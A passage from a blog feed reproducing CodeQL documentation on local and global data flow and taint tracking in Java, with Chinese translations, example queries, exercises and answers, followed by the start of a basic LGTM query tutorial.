class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">class Node {</span><br><span class="line">  /** Gets the expression corresponding to this node, if any. */</span><br><span class="line">  Expr asExpr() { ... }</span><br><span class="line"></span><br><span class="line">  /** Gets the parameter corresponding to this node, if any. */</span><br><span class="line">  Parameter asParameter() { ... }</span><br><span class="line"></span><br><span class="line">  ...</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>or using the predicates <code>exprNode</code> and <code>parameterNode</code>:</p><blockquote><p>或使用谓词 exprNode 和 parameterNode:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">/**</span><br><span class="line"> * Gets the node corresponding to expression `e`.</span><br><span class="line"> */</span><br><span class="line">ExprNode exprNode(Expr e) { ... }</span><br><span class="line"></span><br><span class="line">/**</span><br><span class="line"> * Gets the node corresponding to the value of parameter `p` at function entry.</span><br><span class="line"> */</span><br><span class="line">ParameterNode parameterNode(Parameter p) { ... }</span><br></pre></td></tr></tbody></table></figure><p>The predicate <code>localFlowStep(Node nodeFrom, Node nodeTo)</code> holds if there is an immediate data flow edge from the node <code>nodeFrom</code> to the node <code>nodeTo</code>. You can apply the predicate recursively by using the <code>+</code> and <code>*</code> operators, or by using the predefined recursive predicate <code>localFlow</code>, which is equivalent to <code>localFlowStep*</code>.</p><blockquote><p>如果存在从节点nodeFrom到节点nodeTo的即时数据流边，则谓词localFlowStep(Node nodeFrom, Node nodeTo)成立。您可以通过使用+和<em>运算符，或者通过使用定义的递归谓词localFlow（相当于localFlowStep</em>）来递归应用该谓词。</p></blockquote><p>For example, you can find flow from a parameter <code>source</code> to an expression <code>sink</code> in zero or more local steps:</p><blockquote><p>例如，可以在零个或多个本地步骤中找到从参数源到表达式接收器的污点传 播：DataFlow::localFlow(DataFlow::parameterNode(source), DataFlow::exprNode(sink))</p></blockquote><h3 id="Using-local-taint-tracking"><a href="#Using-local-taint-tracking" class="headerlink" title="Using local taint tracking"></a>Using local taint tracking</h3><p>Local taint tracking extends local data flow by including non-value-preserving flow steps. For example:</p><blockquote><p>本地污点跟踪通过包括非保值流步骤来扩展本地数据流。例如: </p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">String temp = x;</span><br><span class="line">String y = temp + ", " + temp;</span><br></pre></td></tr></tbody></table></figure><p>If <code>x</code> is a tainted string then <code>y</code> is also tainted.</p><blockquote><p>如果x是一个污点字符串，那么y也是污点。</p></blockquote><p>The local taint tracking library is in the module <code>TaintTracking</code>. Like local data flow, a predicate <code>localTaintStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo)</code> holds if there is an immediate taint propagation edge from the node <code>nodeFrom</code> to the node <code>nodeTo</code>. You can apply the predicate recursively by using the <code>+</code> and <code>*</code> operators, or by using the predefined recursive predicate <code>localTaint</code>, which is equivalent to <code>localTaintStep*</code>.</p><blockquote><p>本地污点跟踪库在TaintTracking模块中。和本地数据流一样，如果有一条从节点nodeFrom到节点nodeTo的即时污点传播边，则谓词localTaintStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo)成立。您可以通过使用+和<em>运算符，或者通过使用定义的递归谓词localTaint（相当于localTaintStep</em>）来递归应用该谓词。</p></blockquote><p>For example, you can find taint propagation from a parameter <code>source</code> to an expression <code>sink</code> in zero or more local steps:</p><blockquote><p>例如，可以在零个或多个本地步骤中找到从参数源到表达式接收器的污点传播：</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">TaintTracking::localTaint(DataFlow::parameterNode(source), DataFlow::exprNode(sink))</span><br></pre></td></tr></tbody></table></figure><h3 id="Examples"><a href="#Examples" class="headerlink" title="Examples"></a>Examples</h3><p>This query finds the filename passed to <code>new FileReader(..)</code>.</p><blockquote><p>这个查询可以找到传递给new FileReader(.)的文件名。</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from Constructor fileReader, Call call</span><br><span class="line">where</span><br><span class="line">  fileReader.getDeclaringType().hasQualifiedName("java.io", "FileReader") and</span><br><span class="line">  call.getCallee() = fileReader</span><br><span class="line">select call.getArgument(0)</span><br></pre></td></tr></tbody></table></figure><p><img src="/.io//C:%5CUsers%5CSamny%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20210321154347521.png" alt="image-20210321154347521"></p><p><img src="/.io//C:%5CUsers%5CSamny%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20210321154357125.png" alt="image-20210321154357125"></p><p>Unfortunately, this only gives the expression in the argument, not the values which could be passed to it. So we use local data flow to find all expressions that flow into the argument:</p><blockquote><p>不幸的是，这只给出了参数中的表达式，而没有给出可以传递给它的值。所以我们使用本地数据流来查找所有流入参数中的表达式:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line">import semmle.code.java.dataflow.DataFlow</span><br><span class="line"></span><br><span class="line">from Constructor fileReader, Call call, Expr src</span><br><span class="line">where</span><br><span class="line">  fileReader.getDeclaringType().hasQualifiedName("java.io", "FileReader") and</span><br><span class="line">  call.getCallee() = fileReader and</span><br><span class="line">  DataFlow::localFlow(DataFlow::exprNode(src), DataFlow::exprNode(call.getArgument(0)))</span><br><span class="line">select src</span><br></pre></td></tr></tbody></table></figure><p><img src="https://gitee.com/samny/images/raw/master/42u46er42ec/42u46er42ec.png" alt="image-20210321154642299"></p><p><img src="https://gitee.com/samny/images/raw/master/5u46er5ec/5u46er5ec.png" alt="image-20210321154605656"></p><p>Then we can make the source more specific, for example an access to a public parameter. This query finds where a public parameter is passed to <code>new FileReader(..)</code>:</p><blockquote><p>然后，我们可以把源头做得更具体，例如对一个公共参数的访问。这个查询可以找到公共参数被传递给new FileReader(…)的位置:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line">import semmle.code.java.dataflow.DataFlow</span><br><span class="line"></span><br><span class="line">from Constructor fileReader, Call call, Parameter p</span><br><span class="line">where</span><br><span class="line">  fileReader.getDeclaringType().hasQualifiedName("java.io", "FileReader") and</span><br><span class="line">  call.getCallee() = fileReader and</span><br><span class="line">  DataFlow::localFlow(DataFlow::parameterNode(p), DataFlow::exprNode(call.getArgument(0)))</span><br><span class="line">select p</span><br></pre></td></tr></tbody></table></figure><p><img src="https://gitee.com/samny/images/raw/master/57u47er57ec/57u47er57ec.png" alt="image-20210321154757521"></p><p><img src="https://gitee.com/samny/images/raw/master/26u47er26ec/26u47er26ec.png" alt="image-20210321154726769"></p><p>This query finds calls to formatting functions where the format string is not hard-coded.</p><blockquote><p>这个查询可以找到对格式字符串没有硬编码的格式化函数的调用。</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line">import semmle.code.java.dataflow.DataFlow</span><br><span class="line">import semmle.code.java.StringFormat</span><br><span class="line"></span><br><span class="line">from StringFormatMethod format, MethodAccess call, Expr formatString</span><br><span class="line">where</span><br><span class="line">  call.getMethod() = format and</span><br><span class="line">  call.getArgument(format.getFormatStringIndex()) = formatString and</span><br><span class="line">  not exists(DataFlow::Node source, DataFlow::Node sink |</span><br><span class="line">    DataFlow::localFlow(source, sink) and</span><br><span class="line">    source.asExpr() instanceof StringLiteral and</span><br><span class="line">    sink.asExpr() = formatString</span><br><span class="line">  )</span><br><span class="line">select call, "Argument to String format method isn't hard-coded."</span><br></pre></td></tr></tbody></table></figure><p><img src="https://gitee.com/samny/images/raw/master/31u17er31ec/31u17er31ec.png" alt="image-20210321151731106"></p><p><img src="/.io//C:%5CUsers%5CSamny%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20210321151844554.png" alt="image-20210321151844554"></p><p><img src="https://gitee.com/samny/images/raw/master/2u19er2ec/2u19er2ec.png" alt="image-20210321151901989"></p><h3 id="Exercises"><a href="#Exercises" class="headerlink" title="Exercises"></a>Exercises</h3><p>Exercise 1: Write a query that finds all hard-coded strings used to create a <code>java.net.URL</code>, using local data flow. (<a href="https://codeql.github.com/docs/codeql-language-guides/analyzing-data-flow-in-java/#exercise-1" target="_blank" rel="noopener">Answer</a>)</p><blockquote><p>练习1：写一个查询，使用本地数据流找到所有用于创建java.net.URL的硬编码字符串。(答案)</p></blockquote><h2 id="Global-data-flow"><a href="#Global-data-flow" class="headerlink" title="Global data flow"></a>Global data flow</h2><p>Global data flow tracks data flow throughout the entire program, and is therefore more powerful than local data flow. However, global data flow is less precise than local data flow, and the analysis typically requires significantly more time and memory to perform.</p><blockquote><p>全局数据流跟踪整个程序的数据流，因此比局部数据流更强大。但是，全局数据流的精度低于本地数据流，而且分析通常需要更多的时间和内存来执行。</p></blockquote><blockquote><p>Note</p><p>You can model data flow paths in CodeQL by creating path queries. To view data flow paths generated by a path query in CodeQL for VS Code, you need to make sure that it has the correct metadata and <code>select</code> clause. For more information, see <a href="https://codeql.github.com/docs/writing-codeql-queries/creating-path-queries/#creating-path-queries" target="_blank" rel="noopener">Creating path queries</a>.</p><p>你可以在CodeQL中通过创建路径查询来模拟数据流路径。要在CodeQL for VS Code中查看路径查询生成的数据流路径，你需要确保它有正确的元数据和选择子句。更多信息，请参阅创建路径查询。</p></blockquote><h3 id="Using-global-data-flow"><a href="#Using-global-data-flow" class="headerlink" title="Using global data flow"></a>Using global data flow</h3><p>You use the global data flow library by extending the class <code>DataFlow::Configuration</code>:</p><blockquote><p>你可以通过扩展类DataFlow::Configuration来使用全局数据流库:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">import semmle.code.java.dataflow.DataFlow</span><br><span class="line"></span><br><span class="line">class MyDataFlowConfiguration extends DataFlow::Configuration {</span><br><span class="line">  MyDataFlowConfiguration() { this = "MyDataFlowConfiguration" }</span><br><span class="line"></span><br><span class="line">  override predicate isSource(DataFlow::Node source) {</span><br><span class="line">    ...</span><br><span class="line">  }</span><br><span class="line"></span><br><span class="line">  override predicate isSink(DataFlow::Node sink) {</span><br><span class="line">    ...</span><br><span class="line">  }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>These predicates are defined in the configuration:</p><blockquote><p>这些谓词在配置中被定义:</p></blockquote><ul><li><code>isSource</code>—defines where data may flow from  isSource-定义了数据可能从哪里流出。</li><li><code>isSink</code>—defines where data may flow to isSink-定义数据可能流向的地方</li><li><code>isBarrier</code>—optional, restricts the data flow  isBarrier-optional，限制数据流。</li><li><code>isAdditionalFlowStep</code>—optional, adds additional flow steps  isAdditionalFlowStep-选项，增加额外的流程步骤</li></ul><p>The characteristic predicate <code>MyDataFlowConfiguration()</code> defines the name of the configuration, so <code>"MyDataFlowConfiguration"</code> should be a unique name, for example, the name of your class.</p><blockquote><p>特性谓词MyDataFlowConfiguration()定义了配置的名称，所以 “MyDataFlowConfiguration “应该是一个唯一的名称，例如，你的类的名称。</p></blockquote><p>The data flow analysis is performed using the predicate <code>hasFlow(DataFlow::Node source, DataFlow::Node sink)</code>:</p><blockquote><p>使用谓词hasFlow(DataFlow::Node source, DataFlow::Node sink)进行数据流分析:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">from MyDataFlowConfiguration dataflow, DataFlow::Node source, DataFlow::Node sink</span><br><span class="line">where dataflow.hasFlow(source, sink)</span><br><span class="line">select source, "Data flow to $@.", sink, sink.toString()</span><br></pre></td></tr></tbody></table></figure><h3 id="Using-global-taint-tracking"><a href="#Using-global-taint-tracking" class="headerlink" title="Using global taint tracking"></a>Using global taint tracking</h3><p>Global taint tracking is to global data flow as local taint tracking is to local data flow. That is, global taint tracking extends global data flow with additional non-value-preserving steps. You use the global taint tracking library by extending the class <code>TaintTracking::Configuration</code>:</p><blockquote><p>全局污点跟踪对于全局数据流来说，就像本地污点跟踪对于本地数据流一样。也就是说，全局污点跟踪通过额外的非保值步骤扩展了全局数据流。您通过扩展类TaintTracking::Configuration来使用全局污点跟踪库:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">import semmle.code.java.dataflow.TaintTracking</span><br><span class="line"></span><br><span class="line">class MyTaintTrackingConfiguration extends TaintTracking::Configuration {</span><br><span class="line">  MyTaintTrackingConfiguration() { this = "MyTaintTrackingConfiguration" }</span><br><span class="line"></span><br><span class="line">  override predicate isSource(DataFlow::Node source) {</span><br><span class="line">    ...</span><br><span class="line">  }</span><br><span class="line"></span><br><span class="line">  override predicate isSink(DataFlow::Node sink) {</span><br><span class="line">    ...</span><br><span class="line">  }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>These predicates are defined in the configuration:</p><blockquote><p>这些谓词在配置中定义:</p></blockquote><ul><li><code>isSource</code>—defines where taint may flow from  isSource-定义了污点可能来自哪里。</li><li><code>isSink</code>—defines where taint may flow to  isSink-定义污点可能流向的地方。</li><li><code>isSanitizer</code>—optional, restricts the taint flow  isSanitizer-optional，限制污点的流动</li><li><code>isAdditionalTaintStep</code>—optional, adds additional taint steps   isAdditionalTaintStep-选项，增加额外的污点步骤。</li></ul><p>Similar to global data flow, the characteristic predicate <code>MyTaintTrackingConfiguration()</code> defines the unique name of the configuration.</p><blockquote><p>与全局数据流类似，特征谓词MyTaintTrackingConfiguration()定义了配置的唯一名称。</p></blockquote><p>The taint tracking analysis is performed using the predicate <code>hasFlow(DataFlow::Node source, DataFlow::Node sink)</code>.</p><blockquote><p>使用谓词hasFlow(DataFlow::Node source, DataFlow::Node sink)进行污点跟踪分析。</p></blockquote><h3 id="Flow-sources"><a href="#Flow-sources" class="headerlink" title="Flow sources"></a>Flow sources</h3><p>The data flow library contains some predefined flow sources. The class <code>RemoteFlowSource</code> (defined in <code>semmle.code.java.dataflow.FlowSources</code>) represents data flow sources that may be controlled by a remote user, which is useful for finding security problems.</p><blockquote><p>数据流库包含一些预定义的流源。类RemoteFlowSource（定义在semmle.code.java.dataflow.FlowSources中）代表了可能被远程用户控制的数据流源，这对于发现安全问题很有用。</p></blockquote><h3 id="Examples-1"><a href="#Examples-1" class="headerlink" title="Examples"></a>Examples</h3><p>This query shows a taint-tracking configuration that uses remote user input as data sources.</p><blockquote><p>这个查询显示了一个使用远程用户输入作为数据源的污点跟踪配置。</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line">import semmle.code.java.dataflow.FlowSources</span><br><span class="line"></span><br><span class="line">class MyTaintTrackingConfiguration extends TaintTracking::Configuration {</span><br><span class="line">  MyTaintTrackingConfiguration() {</span><br><span class="line">    this = "..."</span><br><span class="line">  }</span><br><span class="line"></span><br><span class="line">  override predicate isSource(DataFlow::Node source) {</span><br><span class="line">    source instanceof RemoteFlowSource</span><br><span class="line">  }</span><br><span class="line"></span><br><span class="line">  ...</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><h3 id="Exercises-1"><a href="#Exercises-1" class="headerlink" title="Exercises"></a>Exercises</h3><p>Exercise 2: Write a query that finds all hard-coded strings used to create a <code>java.net.URL</code>, using global data flow. (<a href="https://codeql.github.com/docs/codeql-language-guides/analyzing-data-flow-in-java/#exercise-2" target="_blank" rel="noopener">Answer</a>)</p><blockquote><p>练习2：写一个查询，使用全局数据流找到所有用于创建java.net.URL的硬编码字符串。(答案)</p></blockquote><p>Exercise 3: Write a class that represents flow sources from <code>java.lang.System.getenv(..)</code>. (<a href="https://codeql.github.com/docs/codeql-language-guides/analyzing-data-flow-in-java/#exercise-3" target="_blank" rel="noopener">Answer</a>)</p><blockquote><p>练习3：从java.lang.System.getenv(…)写一个表示流源的类。(答案)</p></blockquote><p>Exercise 4: Using the answers from 2 and 3, write a query which finds all global data flows from <code>getenv</code> to <code>java.net.URL</code>. (<a href="https://codeql.github.com/docs/codeql-language-guides/analyzing-data-flow-in-java/#exercise-4" target="_blank" rel="noopener">Answer</a>)</p><blockquote><p> 练习4：使用2和3中的答案，写一个查询，找到所有从getenv到java.net.URL的全局数据流。(答案)</p></blockquote><h2 id="Answers"><a href="#Answers" class="headerlink" title="Answers"></a>Answers</h2><h3 id="Exercise-1"><a href="#Exercise-1" class="headerlink" title="Exercise 1"></a>Exercise 1</h3><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">import semmle.code.java.dataflow.DataFlow</span><br><span class="line"></span><br><span class="line">from Constructor url, Call call, StringLiteral src</span><br><span class="line">where</span><br><span class="line">  url.getDeclaringType().hasQualifiedName("java.net", "URL") and</span><br><span class="line">  call.getCallee() = url and</span><br><span class="line">  DataFlow::localFlow(DataFlow::exprNode(src), DataFlow::exprNode(call.getArgument(0)))</span><br><span class="line">select src</span><br></pre></td></tr></tbody></table></figure><p><img src="https://gitee.com/samny/images/raw/master/16u13er16ec/16u13er16ec.png" alt="image-20210321161316130"></p><h3 id="Exercise-2"><a href="#Exercise-2" class="headerlink" title="Exercise 2"></a>Exercise 2</h3><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">import semmle.code.java.dataflow.DataFlow</span><br><span class="line"></span><br><span class="line">class Configuration extends DataFlow::Configuration {</span><br><span class="line">  Configuration() {</span><br><span class="line">    this = "LiteralToURL Configuration"</span><br><span class="line">  }</span><br><span class="line"></span><br><span class="line">  override predicate isSource(DataFlow::Node source) {</span><br><span class="line">    source.asExpr() instanceof StringLiteral</span><br><span class="line">  }</span><br><span class="line"></span><br><span class="line">  override predicate isSink(DataFlow::Node sink) {</span><br><span class="line">    exists(Call call |</span><br><span class="line">      sink.asExpr() = call.getArgument(0) and</span><br><span class="line">      call.getCallee().(Constructor).getDeclaringType().hasQualifiedName("java.net", "URL")</span><br><span class="line">    )</span><br><span class="line">  }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">from DataFlow::Node src, DataFlow::Node sink, Configuration config</span><br><span class="line">where config.hasFlow(src, sink)</span><br><span class="line">select src, "This string constructs a URL $@.", sink, "here"</span><br></pre></td></tr></tbody></table></figure><h3 id="Exercise-3"><a href="#Exercise-3" class="headerlink" title="Exercise 3"></a>Exercise 3</h3><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">class GetenvSource extends MethodAccess {</span><br><span class="line">  GetenvSource() {</span><br><span class="line">    exists(Method m | m = this.getMethod() |</span><br><span class="line">      m.hasName("getenv") and</span><br><span class="line">      m.getDeclaringType() instanceof TypeSystem</span><br><span class="line">    )</span><br><span class="line">  }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><h3 id="Exercise-4"><a href="#Exercise-4" class="headerlink" title="Exercise 4"></a>Exercise 4</h3><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">import semmle.code.java.dataflow.DataFlow</span><br><span class="line"></span><br><span class="line">class GetenvSource extends DataFlow::ExprNode {</span><br><span class="line">  GetenvSource() {</span><br><span class="line">    exists(Method m | m = this.asExpr().(MethodAccess).getMethod() |</span><br><span class="line">      m.hasName("getenv") and</span><br><span class="line">      m.getDeclaringType() instanceof TypeSystem</span><br><span class="line">    )</span><br><span class="line">  }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">class GetenvToURLConfiguration extends DataFlow::Configuration {</span><br><span class="line">  GetenvToURLConfiguration() {</span><br><span class="line">    this = "GetenvToURLConfiguration"</span><br><span class="line">  }</span><br><span class="line"></span><br><span class="line">  override predicate isSource(DataFlow::Node source) {</span><br><span class="line">    source instanceof GetenvSource</span><br><span class="line">  }</span><br><span class="line"></span><br><span class="line">  override predicate isSink(DataFlow::Node sink) {</span><br><span class="line">    exists(Call call |</span><br><span class="line">      sink.asExpr() = call.getArgument(0) and</span><br><span class="line">      call.getCallee().(Constructor).getDeclaringType().hasQualifiedName("java.net", "URL")</span><br><span class="line">    )</span><br><span class="line">  }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">from DataFlow::Node src, DataFlow::Node sink, GetenvToURLConfiguration config</span><br><span class="line">where config.hasFlow(src, sink)</span><br><span class="line">select src, "This environment variable constructs a URL $@.", sink, "here"</span><br></pre></td></tr></tbody></table></figure>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;Analyzing-data-flow-in-Java¶&quot;&gt;&lt;a href=&quot;#Analyzing-data-flow-in-Java¶&quot; class=&quot;headerlink&quot; title=&quot;Analyzing data flow in Java¶&quot;&gt;&lt;/a&gt;An
      
    
    </summary>
    
    
      <category term="codeql" scheme="https://summersec.github.io/categories/codeql/"/>
    
    
  </entry>
  
  <entry>
    <title>Basic query for Java code</title>
    <link href="https://summersec.github.io/2021/03/22/Basic%20query%20for%20Java%20code/"/>
    <id>https://summersec.github.io/2021/03/22/Basic%20query%20for%20Java%20code/</id>
    <published>2021-03-22T11:01:42.000Z</published>
    <updated>2021-03-22T13:44:17.240Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Basic-query-for-Java-code¶"><a href="#Basic-query-for-Java-code¶" class="headerlink" title="Basic query for Java code¶"></a>Basic query for Java code<a href="https://codeql.github.com/docs/codeql-language-guides/basic-query-for-java-code/#basic-query-for-java-code" target="_blank" rel="noopener">¶</a></h1><p>Learn to write and run a simple CodeQL query using LGTM.</p><blockquote><p>学习使用LGTM编写并运行一个简单的CodeQL查询。</p></blockquote><h2 id="About-the-query"><a href="#About-the-query" class="headerlink" title="About the query"></a>About the query</h2><p>The query we’re going to run performs a basic search of the code for <code>if</code> statements that are redundant, in the sense that they have an empty then branch. For example, code such as:</p><blockquote><p>我们要运行的查询是对代码进行基本搜索，寻找多余的if语句，即它们有一个空的then分支。例如:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">if (error) { }</span><br></pre></td></tr></tbody></table></figure><h2 id="Running-the-query"><a href="#Running-the-query" class="headerlink" title="Running the query"></a>Running the query</h2><ol><li><p>In the main search box on LGTM.com, search for the project you want to query. For tips, see <a href="https://lgtm.com/help/lgtm/searching" target="_blank" rel="noopener">Searching</a>.</p><blockquote><p>在LGTM.com的主搜索框中，搜索你要查询的项目。有关提示，请参阅搜索。</p></blockquote></li><li><p>Click the project in the search results.</p><blockquote><p>点击搜索结果中的项目。</p></blockquote></li><li><p>Click <strong>Query this project</strong>.</p><blockquote><p>点击查询这个项目。</p></blockquote><p> This opens the query console. (For information about using this, see <a href="https://lgtm.com/help/lgtm/using-query-console" target="_blank" rel="noopener">Using the query console</a>.)</p><blockquote><p>这将打开查询控制台。有关使用该功能的信息，请参见使用查询控制台。</p></blockquote><blockquote><p>Note</p><p>Alternatively, you can go straight to the query console by clicking <strong>Query console</strong> (at the top of any page), selecting <strong>Java</strong> from the <strong>Language</strong> drop-down list, then choosing one or more projects to query from those displayed in the <strong>Project</strong> drop-down list.</p><p>你可以直接进入查询控制台，点击查询控制台（在任何页面的顶部），从语言下拉列表中选择Java，然后从项目下拉列表中显示的项目中选择一个或多个项目进行查询。</p></blockquote></li><li><p>Copy the following query into the text box in the query console:</p><blockquote><p>将以下查询复制到查询控制台的文本框中。</p></blockquote> <figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from IfStmt ifstmt, Block block</span><br><span class="line">where ifstmt.getThen() = block and</span><br><span class="line">  block.getNumStmt() = 0</span><br><span class="line">select ifstmt, "This 'if' statement is redundant."</span><br></pre></td></tr></tbody></table></figure><p> LGTM checks whether your query compiles and, if all is well, the <strong>Run</strong> button changes to green to indicate that you can go ahead and run the query.</p><blockquote><p>在查询框的下方列出了你要查询的项目名称，以及最近分析的项目提交的ID。右边是一个图标，表示查询操作的进度。</p></blockquote></li><li><p>Click <strong>Run</strong>.</p><p> The name of the project you are querying, and the ID of the most recently analyzed commit to the project, are listed below the query box. To the right of this is an icon that indicates the progress of the query operation:</p><blockquote><p>在查询框的下方列出了你要查询的项目名称，以及最近分析的项目提交的ID。右边是一个图标，表示查询操作的进度。</p></blockquote><p> <img src="https://gitee.com/samny/images/raw/master/4u26er4ec/4u26er4ec.png" alt="image-20210319162604365"></p><p> <img src="https://gitee.com/samny/images/raw/master/21u42er21ec/21u42er21ec.png" alt="image-20210319164221280"></p><blockquote><p>Note</p><p>Your query is always run against the most recently analyzed commit to the selected project.</p><blockquote><p>你的查询总是针对最近分析过的项目的提交运行。</p></blockquote></blockquote><p> The query will take a few moments to return results. When the query completes, the results are displayed below the project name. The query results are listed in two columns, corresponding to the two expressions in the <code>select</code> clause of the query. The first column corresponds to the expression <code>ifstmt</code> and is linked to the location in the source code of the project where <code>ifstmt</code> occurs. The second column is the alert message.</p><blockquote><p>查询需要几分钟才能返回结果。当查询完成后，结果会显示在项目名称下面。查询结果列在两列中，对应于查询的选择子句中的两个表达式。第一列对应表达式ifstmt，并链接到ifstmt出现的项目源代码中的位置。第二列是警报信息。</p></blockquote><p> ➤ <a href="https://lgtm.com/query/3235645104630320782/" target="_blank" rel="noopener">Example query results</a></p><blockquote><p>Note</p><p>An ellipsis (…) at the bottom of the table indicates that the entire list is not displayed—click it to show more results.</p><p>表格底部的省略号(…)表示没有显示整个列表-点击它以显示更多结果。</p></blockquote></li><li><p>If any matching code is found, click a link in the <code>ifstmt</code> column to view the <code>if</code> statement in the code viewer.</p><blockquote><p>如果找到任何匹配的代码，请点击ifstmt列中的链接，在代码查看器中查看if语句。</p></blockquote><p> The matching <code>if</code> statement is highlighted with a yellow background in the code viewer. If any code in the file also matches a query from the 